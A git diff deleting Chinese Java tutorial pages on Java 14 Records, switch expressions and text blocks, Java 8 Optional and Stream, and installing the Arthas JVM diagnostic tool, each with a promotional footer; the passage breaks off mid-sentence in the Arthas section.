private final 的,构造方法有两个参数,`toString()`、`hashCode()`、`equals()` 方法也有了,getter 方法也有了,只不过没有 get 前缀。但是没有 setter 方法,也就是说 Records 确实针对的是不可变对象——鉴定完毕。那怎么使用 Records 呢? - -```java -public class WriterDemo { - public static void main(String[] args) { - Writer writer = new Writer("沉默王二",18); - System.out.println("toString:" + writer); - System.out.println("hashCode:" + writer.hashCode()); - System.out.println("name:" + writer.name()); - System.out.println("age:" + writer.age()); - - Writer writer1 = new Writer("沉默王二", 18); - System.out.println("equals:" + (writer.equals(writer1))); - } -} -``` - -程序输出的结果如下所示: - -``` -toString:Writer[name=沉默王二, age=18] -hashCode:1130697218 -name:沉默王二 -age:18 -equals:true -``` - -不错不错,真香,以后定义不可变类时就简单了,强烈希望这个特性在下个版本中转正。 - -### 03、switch 表达式 - -关于 switch 表达式,我在之前的一篇文章中已经详细说明了,点击[传送门](https://mp.weixin.qq.com/s/1BDDLDSKDGwQAfIFMyySdg)可以跳转过去看看。两周时间过去了,switch 表达式终于“媳妇熬成婆”,转正了,恭喜恭喜。 - -记得这篇文章发表到掘金的时候,被喷子各种无脑 diss,说:“还以为你有什么技巧,没想到用的是 Java 13,可我们还停留在 Java 8 啊!”这显然是一种固步自封的心态,非常不可取,程序员不应该这样。一个最简单的道理就是,Java 6 当年也很经典,不是被 Java 8 取代了吗?随着时间的推移,Java 8 早晚会被更划时代的新版本取代——总要进步嘛。 - -关于 switch 表达式,这里就简单地搬个例子给你瞧瞧: - -```java -public class SwitchDemo { - enum PlayerTypes { - TENNIS, - FOOTBALL, - BASKETBALL, - PINGPANG, - UNKNOWN - } - - public static void main(String[] args) { - System.out.println(createPlayer(PlayerTypes.BASKETBALL)); - } - - private static String createPlayer(PlayerTypes playerType) { - return switch (playerType) { - case TENNIS -> "网球运动员费德勒"; - case FOOTBALL -> "足球运动员C罗"; - case BASKETBALL -> "篮球运动员詹姆斯"; - case PINGPANG -> "乒乓球运动员马龙"; - case UNKNOWN -> throw new IllegalArgumentException("未知"); - }; - } -} -``` - -除了可以使用 `->` 的新式语法,还可以作为 return 结果,真香。 - -### 04、Text Blocks - -在文本块(Text Blocks)出现之前,如果我们需要拼接多行的字符串,就需要很多英文双引号和加号,看起来就好像老太婆的裹脚布,非常不雅。如果恰好要拼接一些 HTML 格式的文本(原生 SQL 也是如此)的话,还要通过空格进行排版,通过换行转义符 `\n` 进行换行,这些繁琐的工作对于一名开发人员来说,简直就是灾难。 - -```java -public class OldTextBlock { - public static void main(String[] args) { - String html = "\n" + - " \n" + - "

Hello, world

\n" + - " \n" + - "\n"; - System.out.println(html); - } -} -``` - -Java 14 就完全不同了: - -```java -public class NewTextBlock { - public static void main(String[] args) { - String html = """ - - -

Hello, world

- - - """; - System.out.println(html); - } -} -``` - -多余的英文双引号、加号、换行转义符,统统不见了。仅仅是通过前后三个英文双引号就实现了。我只能说,香,它真的香! - -![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy8xMTc5Mzg5LTU3Njg1YmQzZDdmNzRkMDcuZ2lm) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - - - diff --git a/docs/src/java8/optional.md b/docs/src/java8/optional.md deleted file mode 100644 index 13bdbed986..0000000000 --- a/docs/src/java8/optional.md +++ /dev/null @@ -1,364 +0,0 @@ ---- -title: Java 8 Optional最佳指南,优雅解决空指针 -shortTitle: Optional最佳指南 -category: - - Java核心 -tag: - - Java新特性 -description: 本文详细介绍了Java 8引入的Optional类,阐述了Optional的设计初衷和用法。通过实际的代码示例,展示了如何使用Optional来优雅地解决空指针问题,避免程序中的NullPointerException。掌握Optional的使用方法,让您的Java代码更加健壮和可靠。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java8,Optional,java Optional,空指针异常, NullPointerException ---- - - -想学习,永远都不晚,尤其是针对 Java 8 里面的好东西,Optional 就是其中之一,该类提供了一种用于表示可选值而非空引用的类级别解决方案。作为一名 Java 程序员,我真的是烦透了 [NullPointerException(NPE)](https://javabetter.cn/exception/npe.html),尽管和它熟得就像一位老朋友,知道它也是迫不得已——程序正在使用一个对象却发现这个对象的值为 null,于是 Java 虚拟机就怒发冲冠地把它抛了出来当做替罪羊。 - -当然了,我们程序员是富有责任心的,不会坐视不管,于是就有了大量的 null 值检查。尽管有时候这种检查完全没有必要,但我们已经习惯了例行公事。终于,Java 8 看不下去了,就引入了 Optional,以便我们编写的代码不再那么刻薄呆板。 - -![](https://cdn.paicoding.com/stutymore/guava-20230329172935.png) - - -### 01、没有 Optional 会有什么问题 - -我们来模拟一个实际的应用场景。小王第一天上班,领导老马就给他安排了一个任务,要他从数据库中根据会员 ID 拉取一个会员的姓名,然后将姓名打印到控制台。虽然是新来的,但这个任务难不倒小王,于是他花了 10 分钟写下了这段代码: - -```java -public class WithoutOptionalDemo { - class Member { - private String name; - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - } - - public static void main(String[] args) { - Member mem = getMemberByIdFromDB(); - if (mem != null) { - System.out.println(mem.getName()); - } - } - - public static Member getMemberByIdFromDB() { - // 当前 ID 的会员不存在 - return null; - } -} -``` - -由于当前 ID 的会员不存在,所以 `getMemberByIdFromDB()` 方法返回了 null 来作为没有获取到该会员的结果,那就意味着在打印会员姓名的时候要先对 mem 判空,否则就会抛出 NPE 异常,不信?让小王把 `if (mem != null)` 去掉试试,控制台立马打印错误堆栈给你颜色看看。 - -``` -Exception in thread "main" java.lang.NullPointerException - at com.cmower.dzone.optional.WithoutOptionalDemo.main(WithoutOptionalDemo.java:24) -``` - -### 02、Optional 是如何解决这个问题的 - -小王把代码提交后,就兴高采烈地去找老马要新的任务了。本着虚心学习的态度,小王请求老马看一下自己的代码,于是老王就告诉他应该尝试一下 Optional,可以避免没有必要的 null 值检查。现在,让我们来看看小王是如何通过 Optional 来解决上述问题的。 - -```java -public class OptionalDemo { - public static void main(String[] args) { - Optional optional = getMemberByIdFromDB(); - optional.ifPresent(mem -> { - System.out.println("会员姓名是:" + mem.getName()); - }); - } - - public static Optional getMemberByIdFromDB() { - boolean hasName = true; - if (hasName) { - return Optional.of(new Member("沉默王二")); - } - return Optional.empty(); - } -} -class Member { - private String name; - - public String getName() { - return name; - } - - // getter / setter -} -``` - -`getMemberByIdFromDB()` 方法返回了 `Optional` 作为结果,这样就表明 Member 可能存在,也可能不存在,这时候就可以在 Optional 的 `ifPresent()` 方法中使用 Lambda 表达式来直接打印结果。 - -Optional 之所以可以解决 NPE 的问题,是因为它明确的告诉我们,不需要对它进行判空。它就好像十字路口的路标,明确地告诉你该往哪走。 - -### 03、创建 Optional 对象 - -1)可以使用静态方法 `empty()` 创建一个空的 Optional 对象 - -```java -Optional empty = Optional.empty(); -System.out.println(empty); // 输出:Optional.empty -``` - -2)可以使用静态方法 `of()` 创建一个非空的 Optional 对象 - -```java -Optional opt = Optional.of("沉默王二"); -System.out.println(opt); // 输出:Optional[沉默王二] -``` - -当然了,传递给 `of()` 方法的参数必须是非空的,也就是说不能为 null,否则仍然会抛出 NullPointerException。 - -```java -String name = null; -Optional optnull = Optional.of(name); -``` - -3)可以使用静态方法 `ofNullable()` 创建一个即可空又可非空的 Optional 对象 - -```java -String name = null; -Optional optOrNull = Optional.ofNullable(name); -System.out.println(optOrNull); // 输出:Optional.empty -``` - -`ofNullable()` 方法内部有一个三元表达式,如果为参数为 null,则返回私有常量 EMPTY;否则使用 new 关键字创建了一个新的 Optional 对象——不会再抛出 NPE 异常了。 - -### 04、判断值是否存在 - -可以通过方法 `isPresent()` 判断一个 Optional 对象是否存在,如果存在,该方法返回 true,否则返回 false——取代了 `obj != null` 的判断。 - -```java -Optional opt = Optional.of("沉默王二"); -System.out.println(opt.isPresent()); // 输出:true - -Optional optOrNull = Optional.ofNullable(null); -System.out.println(optOrNull.isPresent()); // 输出:false -``` - -Java 11 后还可以通过方法 `isEmpty()` 判断与 `isPresent()` 相反的结果。 - -```java -Optional opt = Optional.of("沉默王二"); -System.out.println(opt.isEmpty()); // 输出:false - -Optional optOrNull = Optional.ofNullable(null); -System.out.println(optOrNull.isEmpty()); // 输出:true -``` - -### 05、非空表达式 - -Optional 类有一个非常现代化的方法——`ifPresent()`,允许我们使用函数式编程的方式执行一些代码,因此,我把它称为非空表达式。如果没有该方法的话,我们通常需要先通过 `isPresent()` 方法对 Optional 对象进行判空后再执行相应的代码: - -```java -Optional optOrNull = Optional.ofNullable(null); -if (optOrNull.isPresent()) { - System.out.println(optOrNull.get().length()); -} -``` - -有了 `ifPresent()` 之后,情况就完全不同了,可以直接将 Lambda 表达式传递给该方法,代码更加简洁,更加直观。 - -```java -Optional opt = Optional.of("沉默王二"); -opt.ifPresent(str -> System.out.println(str.length())); -``` - -Java 9 后还可以通过方法 `ifPresentOrElse(action, emptyAction)` 执行两种结果,非空时执行 action,空时执行 emptyAction。 - -```java -Optional opt = Optional.of("沉默王二"); -opt.ifPresentOrElse(str -> System.out.println(str.length()), () -> System.out.println("为空")); -``` - -### 06、设置(获取)默认值 - -有时候,我们在创建(获取) Optional 对象的时候,需要一个默认值,`orElse()` 和 `orElseGet()` 方法就派上用场了。 - -`orElse()` 方法用于返回包裹在 Optional 对象中的值,如果该值不为 null,则返回;否则返回默认值。该方法的参数类型和值的类型一致。 - -```java -String nullName = null; -String name = Optional.ofNullable(nullName).orElse("沉默王二"); -System.out.println(name); // 输出:沉默王二 -``` - -`orElseGet()` 方法与 `orElse()` 方法类似,但参数类型不同。如果 Optional 对象中的值为 null,则执行参数中的函数。 - -```java -String nullName = null; -String name = Optional.ofNullable(nullName).orElseGet(()->"沉默王二"); -System.out.println(name); // 输出:沉默王二 -``` - -从输出结果以及代码的形式上来看,这两个方法极其相似,这不免引起我们的怀疑,Java 类库的设计者有必要这样做吗? - -假设现在有这样一个获取默认值的方法,很传统的方式。 - -```java -public static String getDefaultValue() { - System.out.println("getDefaultValue"); - return "沉默王二"; -} -``` - -然后,通过 `orElse()` 方法和 `orElseGet()` 方法分别调用 `getDefaultValue()` 方法返回默认值。 - -```java -public static void main(String[] args) { - String name = null; - System.out.println("orElse"); - String name2 = Optional.ofNullable(name).orElse(getDefaultValue()); - - System.out.println("orElseGet"); - String name3 = Optional.ofNullable(name).orElseGet(OrElseOptionalDemo::getDefaultValue); -} -``` - -注:`类名 :: 方法名`是 Java 8 引入的语法,方法名后面是没有 `()` 的,表明该方法并不一定会被调用。 - -输出结果如下所示: - -```java -orElse -getDefaultValue - -orElseGet -getDefaultValue -``` - -输出结果是相似的,没什么太大的不同,这是在 Optional 对象的值为 null 的情况下。假如 Optional 对象的值不为 null 呢? - -```java -public static void main(String[] args) { - String name = "沉默王三"; - System.out.println("orElse"); - String name2 = Optional.ofNullable(name).orElse(getDefaultValue()); - - System.out.println("orElseGet"); - String name3 = Optional.ofNullable(name).orElseGet(OrElseOptionalDemo::getDefaultValue); -} -``` - -输出结果如下所示: - -```java -orElse -getDefaultValue -orElseGet -``` - -咦,`orElseGet()` 没有去调用 `getDefaultValue()`。哪个方法的性能更佳,你明白了吧? - -### 07、获取值 - -直观从语义上来看,`get()` 方法才是最正宗的获取 Optional 对象值的方法,但很遗憾,该方法是有缺陷的,因为假如 Optional 对象的值为 null,该方法会抛出 NoSuchElementException 异常。这完全与我们使用 Optional 类的初衷相悖。 - -```java -public class GetOptionalDemo { - public static void main(String[] args) { - String name = null; - Optional optOrNull = Optional.ofNullable(name); - System.out.println(optOrNull.get()); - } -} -``` - -这段程序在运行时会抛出异常: - -``` -Exception in thread "main" java.util.NoSuchElementException: No value present - at java.base/java.util.Optional.get(Optional.java:141) - at com.cmower.dzone.optional.GetOptionalDemo.main(GetOptionalDemo.java:9) -``` - -尽管抛出的异常是 NoSuchElementException 而不是 NPE,但在我们看来,显然是在“五十步笑百步”。建议 `orElseGet()` 方法获取 Optional 对象的值。 - -### 08、过滤值 - -小王通过 Optional 类对之前的代码进行了升级,完成后又兴高采烈地跑去找老马要任务了。老马觉得这小伙子不错,头脑灵活,又干活积极,很值得培养,就又交给了小王一个新的任务:用户注册时对密码的长度进行检查。 - -小王拿到任务后,乐开了花,因为他刚要学习 Optional 类的 `filter()` 方法,这就派上了用场。 - -```java -public class FilterOptionalDemo { - public static void main(String[] args) { - String password = "12345"; - Optional opt = Optional.ofNullable(password); - System.out.println(opt.filter(pwd -> pwd.length() > 6).isPresent()); - } -} -``` - -`filter()` 方法的参数类型为 Predicate(Java 8 新增的一个函数式接口),也就是说可以将一个 Lambda 表达式传递给该方法作为条件,如果表达式的结果为 false,则返回一个 EMPTY 的 Optional 对象,否则返回过滤后的 Optional 对象。 - -在上例中,由于 password 的长度为 5 ,所以程序输出的结果为 false。假设密码的长度要求在 6 到 10 位之间,那么还可以再追加一个条件。来看小王增加难度后的代码。 - - -```java -Predicate len6 = pwd -> pwd.length() > 6; -Predicate len10 = pwd -> pwd.length() < 10; - -password = "1234567"; -opt = Optional.ofNullable(password); -boolean result = opt.filter(len6.and(len10)).isPresent(); -System.out.println(result); -``` - -这次程序输出的结果为 true,因为密码变成了 7 位,在 6 到 10 位之间。想象一下,假如小王使用 if-else 来完成这个任务,代码该有多冗长。 - -### 09、转换值 - -小王检查完了密码的长度,仍然觉得不够尽兴,觉得要对密码的强度也进行检查,比如说密码不能是“password”,这样的密码太弱了。于是他又开始研究起了 `map()` 方法,该方法可以按照一定的规则将原有 Optional 对象转换为一个新的 Optional 对象,原有的 Optional 对象不会更改。 - -先来看小王写的一个简单的例子: - -```java -public class OptionalMapDemo { - public static void main(String[] args) { - String name = "沉默王二"; - Optional nameOptional = Optional.of(name); - Optional intOpt = nameOptional - .map(String::length); - - System.out.println( intOpt.orElse(0)); - } -} -``` - -在上面这个例子中,`map()` 方法的参数 `String::length`,意味着要 将原有的字符串类型的 Optional 按照字符串长度重新生成一个新的 Optional 对象,类型为 Integer。 - -搞清楚了 `map()` 方法的基本用法后,小王决定把 `map()` 方法与 `filter()` 方法结合起来用,前者用于将密码转化为小写,后者用于判断长度以及是否是“password”。 - -```java -public class OptionalMapFilterDemo { - public static void main(String[] args) { - String password = "password"; - Optional opt = Optional.ofNullable(password); - - Predicate len6 = pwd -> pwd.length() > 6; - Predicate len10 = pwd -> pwd.length() < 10; - Predicate eq = pwd -> pwd.equals("password"); - - boolean result = opt.map(String::toLowerCase).filter(len6.and(len10 ).and(eq)).isPresent(); - System.out.println(result); - } -} -``` - -![](https://cdn.paicoding.com/tobebetterjavaer/images/java8/optional-2.jpg) - -好了,我亲爱的读者朋友,以上就是本文的全部内容了——可以说是史上最佳 Optional 指南了,能看到这里的都是最优秀的程序员,二哥必须要伸出大拇指为你点个赞。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/java8/stream.md b/docs/src/java8/stream.md deleted file mode 100644 index ee28c77190..0000000000 --- a/docs/src/java8/stream.md +++ /dev/null @@ -1,325 +0,0 @@ ---- -title: Java 8 Stream流:掌握流式编程的精髓 -shortTitle: 掌握Stream流 -category: - - Java核心 -tag: - - Java新特性 -description: 本文详细介绍了Java 8引入的Stream流,阐述了Stream流的特点和用法。通过实际的代码示例,展示了如何使用Stream流对集合进行高效、简洁的操作。学习本文,让您快速掌握Java 8 Stream流的实践技巧,体验流式编程带来的编程乐趣。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java8,stream,java stream,Java 8, Stream流, 流式编程 ---- - - -两个星期以前,就有读者强烈要求我写一篇 Java Stream 流的文章,我说市面上不是已经有很多了吗,结果你猜他怎么说:“就想看你写的啊!”你看你看,多么苍白的喜欢啊。那就“勉为其难”写一篇吧,嘻嘻。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/java8/stream-1.jpg) - -单从“Stream”这个单词上来看,它似乎和 java.io 包下的 InputStream 和 OutputStream 有些关系。实际上呢,没毛关系。Java 8 新增的 Stream 是为了解放程序员操作集合(Collection)时的生产力,之所以能解放,很大一部分原因可以归功于同时出现的 Lambda 表达式——极大的提高了编程效率和程序可读性。 - -Stream 究竟是什么呢? - ->Stream 就好像一个高级的迭代器,但只能遍历一次,就好像一江春水向东流;在流的过程中,对流中的元素执行一些操作,比如“过滤掉长度大于 10 的字符串”、“获取每个字符串的首字母”等。 - -要想操作流,首先需要有一个数据源,可以是数组或者集合。每次操作都会返回一个新的流对象,方便进行链式操作,但原有的流对象会保持不变。 - -流的操作可以分为两种类型: - -1)中间操作,可以有多个,每次返回一个新的流,可进行链式操作。 - -2)终端操作,只能有一个,每次执行完,这个流也就用光光了,无法执行下一个操作,因此只能放在最后。 - -来举个例子。 - -```java -List list = new ArrayList<>(); -list.add("武汉加油"); -list.add("中国加油"); -list.add("世界加油"); -list.add("世界加油"); - -long count = list.stream().distinct().count(); -System.out.println(count); -``` - -`distinct()` 方法是一个中间操作(去重),它会返回一个新的流(没有共同元素)。 - -```java -Stream distinct(); -``` - -`count()` 方法是一个终端操作,返回流中的元素个数。 - -```java -long count(); -``` - -中间操作不会立即执行,只有等到终端操作的时候,流才开始真正地遍历,用于映射、过滤等。通俗点说,就是一次遍历执行多个操作,性能就大大提高了。 - -理论部分就扯这么多,下面直接进入实战部分。 - -### 01、创建流 - -如果是数组的话,可以使用 `Arrays.stream()` 或者 `Stream.of()` 创建流;如果是集合的话,可以直接使用 `stream()` 方法创建流,因为该方法已经添加到 Collection 接口中。 - -```java -public class CreateStreamDemo { - public static void main(String[] args) { - String[] arr = new String[]{"武汉加油", "中国加油", "世界加油"}; - Stream stream = Arrays.stream(arr); - - stream = Stream.of("武汉加油", "中国加油", "世界加油"); - - List list = new ArrayList<>(); - list.add("武汉加油"); - list.add("中国加油"); - list.add("世界加油"); - stream = list.stream(); - } -} -``` - -查看 Stream 源码的话,你会发现 `of()` 方法内部其实调用了 `Arrays.stream()` 方法。 - -```java -public static Stream of(T... values) { - return Arrays.stream(values); -} -``` - -另外,集合还可以调用 `parallelStream()` 方法创建并发流,默认使用的是 `ForkJoinPool.commonPool()`线程池。 - -```java -List aList = new ArrayList<>(); -Stream parallelStream = aList.parallelStream(); -``` - -### 02、操作流 - -Stream 类提供了很多有用的操作流的方法,我来挑一些常用的给你介绍一下。 - -#### 1)过滤 - -通过 `filter()` 方法可以从流中筛选出我们想要的元素。 - -```java -public class FilterStreamDemo { - public static void main(String[] args) { - List list = new ArrayList<>(); - list.add("周杰伦"); - list.add("王力宏"); - list.add("陶喆"); - list.add("林俊杰"); - Stream stream = list.stream().filter(element -> element.contains("王")); - stream.forEach(System.out::println); - } -} -``` - -`filter()` 方法接收的是一个 Predicate(Java 8 新增的一个函数式接口,接受一个输入参数返回一个布尔值结果)类型的参数,因此,我们可以直接将一个 Lambda 表达式传递给该方法,比如说 `element -> element.contains("王")` 就是筛选出带有“王”的字符串。 - -`forEach()` 方法接收的是一个 Consumer(Java 8 新增的一个函数式接口,接受一个输入参数并且无返回的操作)类型的参数,`类名 :: 方法名`是 Java 8 引入的新语法,`System.out` 返回 PrintStream 类,println 方法你应该知道是打印的。 - -`stream.forEach(System.out::println);` 相当于在 for 循环中打印,类似于下面的代码: - -```java -for (String s : strs) { - System.out.println(s); -} -``` - -很明显,一行代码看起来更简洁一些。来看一下程序的输出结果: - -``` -王力宏 -``` - -#### 2)映射 - -如果想通过某种操作把一个流中的元素转化成新的流中的元素,可以使用 `map()` 方法。 - -```java -public class MapStreamDemo { - public static void main(String[] args) { - List list = new ArrayList<>(); - list.add("周杰伦"); - list.add("王力宏"); - list.add("陶喆"); - list.add("林俊杰"); - Stream stream = list.stream().map(String::length); - stream.forEach(System.out::println); - } -} -``` - -`map()` 方法接收的是一个 Function(Java 8 新增的一个函数式接口,接受一个输入参数 T,返回一个结果 R)类型的参数,此时参数 为 String 类的 length 方法,也就是把 `Stream` 的流转成一个 `Stream` 的流。 - -程序输出的结果如下所示: - -``` -3 -3 -2 -3 -``` - -#### 3)匹配 - -Stream 类提供了三个方法可供进行元素匹配,它们分别是: - -- `anyMatch()`,只要有一个元素匹配传入的条件,就返回 true。 - -- `allMatch()`,只有有一个元素不匹配传入的条件,就返回 false;如果全部匹配,则返回 true。 - -- `noneMatch()`,只要有一个元素匹配传入的条件,就返回 false;如果全部不匹配,则返回 true。 - -```java -public class MatchStreamDemo { - public static void main(String[] args) { - List list = new ArrayList<>(); - list.add("周杰伦"); - list.add("王力宏"); - list.add("陶喆"); - list.add("林俊杰"); - - boolean anyMatchFlag = list.stream().anyMatch(element -> element.contains("王")); - boolean allMatchFlag = list.stream().allMatch(element -> element.length() > 1); - boolean noneMatchFlag = list.stream().noneMatch(element -> element.endsWith("沉")); - System.out.println(anyMatchFlag); - System.out.println(allMatchFlag); - System.out.println(noneMatchFlag); - } -} -``` - -因为“王力宏”以“王”字开头,所以 anyMatchFlag 应该为 true;因为“周杰伦”、“王力宏”、“陶喆”、“林俊杰”的字符串长度都大于 1,所以 allMatchFlag 为 true;因为 4 个字符串结尾都不是“沉”,所以 noneMatchFlag 为 true。 - -程序输出的结果如下所示: - -``` -true -true -true -``` - -#### 4)组合 - -`reduce()` 方法的主要作用是把 Stream 中的元素组合起来,它有两种用法: - -- `Optional reduce(BinaryOperator accumulator)` - -没有起始值,只有一个参数,就是运算规则,此时返回 [Optional](https://mp.weixin.qq.com/s/PqK0KNVHyoEtZDtp5odocA)。 - -- `T reduce(T identity, BinaryOperator accumulator)` - -有起始值,有运算规则,两个参数,此时返回的类型和起始值类型一致。 - -来看下面这个例子。 - -```java -public class ReduceStreamDemo { - public static void main(String[] args) { - Integer[] ints = {0, 1, 2, 3}; - List list = Arrays.asList(ints); - - Optional optional = list.stream().reduce((a, b) -> a + b); - Optional optional1 = list.stream().reduce(Integer::sum); - System.out.println(optional.orElse(0)); - System.out.println(optional1.orElse(0)); - - int reduce = list.stream().reduce(6, (a, b) -> a + b); - System.out.println(reduce); - int reduce1 = list.stream().reduce(6, Integer::sum); - System.out.println(reduce1); - } -} -``` - -运算规则可以是 [Lambda 表达式](https://mp.weixin.qq.com/s/ozr0jYHIc12WSTmmd_vEjw)(比如 `(a, b) -> a + b`),也可以是类名::方法名(比如 `Integer::sum`)。 - -程序运行的结果如下所示: - -```java -6 -6 -12 -12 -``` - -0、1、2、3 在没有起始值相加的时候结果为 6;有起始值 6 的时候结果为 12。 - -### 03、转换流 - -既然可以把集合或者数组转成流,那么也应该有对应的方法,将流转换回去——`collect()` 方法就满足了这种需求。 - -```java -public class CollectStreamDemo { - public static void main(String[] args) { - List list = new ArrayList<>(); - list.add("周杰伦"); - list.add("王力宏"); - list.add("陶喆"); - list.add("林俊杰"); - - String[] strArray = list.stream().toArray(String[]::new); - System.out.println(Arrays.toString(strArray)); - - List list1 = list.stream().map(String::length).collect(Collectors.toList()); - List list2 = list.stream().collect(Collectors.toCollection(ArrayList::new)); - System.out.println(list1); - System.out.println(list2); - - String str = list.stream().collect(Collectors.joining(", ")).toString(); - System.out.println(str); - } -} -``` - -`toArray()` 方法可以将流转换成数组,你可能比较好奇的是 `String[]::new`,它是什么东东呢?来看一下 `toArray()` 方法的源码。 - -```java - A[] toArray(IntFunction generator); -``` - -也就是说 `String[]::new` 是一个 IntFunction,一个可以产生所需的新数组的函数,可以通过反编译字节码看看它到底是什么: - -```java -String[] strArray = (String[])list.stream().toArray((x$0) -> { - return new String[x$0]; -}); -System.out.println(Arrays.toString(strArray)); -``` - -也就是相当于返回了一个指定长度的字符串数组。 - -当我们需要把一个集合按照某种规则转成另外一个集合的时候,就可以配套使用 `map()` 方法和 `collect()` 方法。 - -```java -List list1 = list.stream().map(String::length).collect(Collectors.toList()); -``` - -通过 `stream()` 方法创建集合的流后,再通过 `map(String:length)` 将其映射为字符串长度的一个新流,最后通过 `collect()` 方法将其转换成新的集合。 - -Collectors 是一个收集器的工具类,内置了一系列收集器实现,比如说 `toList()` 方法将元素收集到一个新的 `java.util.List` 中;比如说 `toCollection()` 方法将元素收集到一个新的 ` java.util.ArrayList` 中;比如说 `joining()` 方法将元素收集到一个可以用分隔符指定的字符串中。 - -来看一下程序的输出结果: - -```java -[周杰伦, 王力宏, 陶喆, 林俊杰] -[3, 3, 2, 3] -[周杰伦, 王力宏, 陶喆, 林俊杰] -周杰伦, 王力宏, 陶喆, 林俊杰 -``` - -![](https://cdn.paicoding.com/tobebetterjavaer/images/java8/stream-2.jpg) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/arthas.md b/docs/src/jvm/arthas.md deleted file mode 100644 index cb84f7dd19..0000000000 --- a/docs/src/jvm/arthas.md +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: 阿里开源的 Java 诊断神器 Arthas -shortTitle: JVM 性能监控之 Arthas 篇 -category: - - Java核心 -tag: - - Java虚拟机 -description: 本文介绍了阿里开源的 Java 诊断神器 Arthas 的安装和使用。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,arthas ---- - - -Arthas 是阿里开源的一款线上 Java 诊断神器,通过全局的视角可以查看应用程序的内存、GC、线程等状态信息,并且能够在不修改代码的情况下,对业务问题进行诊断,包括查看方法的参数调用、执行时间、异常堆栈等信息,大大提升了生产环境中问题排查的效率。 - -Arthas 的官方网站是 [https://arthas.aliyun.com/doc/](https://arthas.aliyun.com/doc/),目前最新的版本是 3.7.2。 - -![](https://cdn.paicoding.com/stutymore/arthas-20240109102105.png) - -比我们前面介绍的[命令行工具](https://javabetter.cn/jvm/console-tools.html)和[可视化工具](https://javabetter.cn/jvm/view-tools.html),都要强大得多,如果你再遇到下面这些问题,就可以迎刃而解了。 - -- 客户线上问题,应该如何复现,让客户再点一下吗? -- 异常被吃掉,手足无措,看是哪个家伙写的,竟然是自己! -- 排查别人线上的 bug,不仅代码还没看懂,还没一行日志,捏了一把汗! -- 预发 debug,稍微时间长点,群里就怨声载道! -- 加日志重新部署,半个小时就没了,问题还没有找到,头顶的灯却早已照亮了整层楼...... -- 线上机器不能 debug,也不能开 debug 端口,重新部署会不会破坏现场呢? -- 怀疑入参有问题,怀疑合并代码有问题,怀疑没有部署成功,全是问号...... -- 一个问题排查一天,被 Diss 排查问题慢...... - -星球里也有球友一直在呼唤 Arthas 的教程,那这篇内容我们就来详细地盘一盘。 - -## 安装 Arthas - -### macOS 安装 - -我们先在本地试一下哈,由于我本机是 macOS,所以我这里就以 macOS 为例,Windows 用户可以参考[官方文档](https://arthas.aliyun.com/doc/download.html),非常简单。 - -我本机已经启动了[技术派](https://paicoding.com/)项目,我们就以技术派为例,来看看 Arthas 的使用。 - -![](https://cdn.paicoding.com/stutymore/arthas-20240109104013.png) - -官方推荐的方式是通过 arthas-boot 来安装,那我们就按照这种来: - -``` -curl -O https://arthas.aliyun.com/arthas-boot.jar -java -jar arthas-boot.jar -``` - -执行完上述命令后,Arthas 会列出可以进行监控的 Java 进程,比如说下图中的第 2 个 `[2]: 79209 com.github.paicoding.forum.web.QuickForumApplication` 就是技术派的进程,直接输入 `2`,然后回车。Arthas 会连接到技术派的进程上,并输出带有 Arthas 的日志,进入 Arthas 的命令交互界面。 - -![](https://cdn.paicoding.com/stutymore/arthas-20240109104757.png) - -### Linux 安装 - -本地 OK 后,我们来试一下服务器上的项目,技术派是部署在腾讯云的香港服务器上,我们先登录到服务器上,然后执行下面的命令获取 arthas-boot.jar: - -``` -curl -O https://arthas.aliyun.com/arthas-boot.jar -``` - -然后执行 `java -jar arthas-boot.jar`,Arthas 会列出可以进行监控的 Java 进程,我们输入 `1`,然后回车,Arthas 就会连接到技术派的进程上,并输出带有 Arthas 的日志,进入 Arthas 的命令交互界面。 - -![](https://cdn.paicoding.com/stutymore/arthas-20240109105744.png) - -OK,非常简单,相信大家都能搞定。 - -### IDEA Arthas 插件 - -Arthas 也提供了 IDEA 插件,可以直接在 IDEA 中使用 